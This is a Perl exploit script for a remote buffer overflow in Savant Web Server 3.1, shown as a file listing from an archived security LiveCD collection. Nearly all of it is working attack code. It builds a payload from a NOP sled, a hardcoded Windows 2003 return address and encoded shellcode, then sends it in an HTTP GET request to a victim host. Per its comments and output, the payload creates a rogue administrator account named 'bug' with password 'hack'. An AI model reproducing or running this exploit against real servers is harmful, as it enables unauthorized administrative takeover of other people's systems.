home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / savant / savant-explo.pl < prev   
Perl Script  |  2005-03-05  |  4KB  |  76 lines

  1. #!/usr/bin/perl
  2. ##################################################################################
  3. #Savant Web Server 3.1 Remote Buffer Overflow Exploit                            #        
  4. #                                                                                #
  5. #This is exploit sending the 253 evil byte                                       #   
  6. #the eip register the overwrite on 254 > 258 byte                                #
  7. #exploit succefull created the Administrator User                                #
  8. #in the server victim                                                            #
  9. #Tested on win2003 server using ret 00b7ead8                                     #
  10. #                                                       #
  11. #D:\Documents and Settings\Administrator\Desktop\explo da uppare\prova>net users #
  12. #Account utente per \\SERVER                                                     #
  13. #------------------------------------------------------------------------------- #
  14. #__vmware_user__          Administrator            ASPNET                        #
  15. #bug                      Guest                    SUPPORT_388945a0              #
  16. #Esecuzione comando riuscita.                                                    # 
  17. #D:\Documents and Settings\Administrator\Desktop\explo da uppare\prova>          #
  18. #                                                        #
  19. #thanks to Mati Aharoni for discovered the bug                                                                                                                         #  
  20. #                                                          info: www.x0n3-h4ck.org#
  21. ##################################################################################
  22.  
  23. use IO::Socket; 
  24. use Getopt::Std; getopts('h:', \%args);
  25.  
  26.  
  27. if (defined($args{'h'})) { $host = $args{'h'}; }
  28.  
  29. print STDERR "\n-=[     Savant Web Server 3.1 Remote Buffer Overflow Exploit            ]=-\n";
  30. print STDERR "-=[                                                                     ]=-\n";
  31. print STDERR "-=[ Coded by CorryL                            info:www.x0n3-h4ck.org   ]=-\n\n";
  32.  
  33. if (!defined($host)) {
  34. Usage();
  35. }
  36.  
  37. $nop = "\x90"x13;
  38. $ret= "\xd8\xea\xb7\x00";
  39. my $shellcode =
  40. "\x2b\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x09".
  41. "\xb1\xc5\xbd\x83\xeb\xfc\xe2\xf4\xf5\x59\x83\xbd\x09\xb1\x4e\xf8".
  42. "\x35\x3a\xb9\xb8\x71\xb0\x2a\x36\x46\xa9\x4e\xe2\x29\xb0\x2e\x5e".
  43. "\x27\xf8\x4e\x89\x82\xb0\x2b\x8c\xc9\x28\x69\x39\xc9\xc5\xc2\x7c".
  44. "\xc3\xbc\xc4\x7f\xe2\x45\xfe\xe9\x2d\xb5\xb0\x5e\x82\xee\xe1\xbc".
  45. "\xe2\xd7\x4e\xb1\x42\x3a\x9a\xa1\x08\x5a\x4e\xa1\x82\xb0\x2e\x34".
  46. "\x55\x95\xc1\x7e\x38\x71\xa1\x36\x49\x81\x40\x7d\x71\xbe\x4e\xfd".
  47. "\x05\x3a\xb5\xa1\xa4\x3a\xad\xb5\xe0\xba\xc5\xbd\x09\x3a\x85\x89".
  48. "\x0c\xcd\xc5\xbd\x09\x3a\xad\x81\x56\x80\x33\xdd\x5f\x5a\xc8\xd5".
  49. "\xf9\x3b\xc1\xe2\x61\x29\x3b\x37\x07\xe6\x3a\x5a\xe1\x5f\x3a\x42".
  50. "\xf6\xd2\xa8\xd9\x27\xd4\xbd\xd8\x29\x9e\xa6\x9d\x67\xd4\xb1\x9d".
  51. "\x7c\xc2\xa0\xcf\x29\xd3\xb0\xda\x29\xd9\xa4\xde\x62\x91\xea\xfc".
  52. "\x4d\xf5\xe5\x9b\x2f\x91\xab\xd8\x7d\x91\xa9\xd2\x6a\xd0\xa9\xda".
  53. "\x7b\xde\xb0\xcd\x29\xf0\xa1\xd0\x60\xdf\xac\xce\x7d\xc3\xa4\xc9".
  54. "\x66\xc3\xb6\x9d\x6b\xc4\xa2\x9d\x26\xf0\x81\xf9\x09\xb1\xc5\xbd";
  55.  
  56. print "[+] Connect to $host\n";
  57.  
  58. $socket = new IO::Socket::INET (PeerAddr => "$host",
  59.                                 PeerPort => 80,
  60.                                 Proto => 'tcp');
  61.                                 die unless $socket;
  62.                                 print "[+] Using 00b7ead8 // Ret For Win2003\n"; 
  63.                                 $buff = $nop.$shellcode.$ret;
  64.                                 print "[+] Sending Payload 258 byte\n";
  65.                                 $data = "GET /$buff \r\n\r\n";
  66.          
  67.                                 send ($socket,$data,0);
  68. print "[+] Creating Administrator User: User 'bug' Password 'hack'\n";
  69. close;
  70.  
  71. sub Usage {
  72. print STDERR "Usage:
  73. -h Victim host.\n\n";
  74. exit;
  75. }
  76.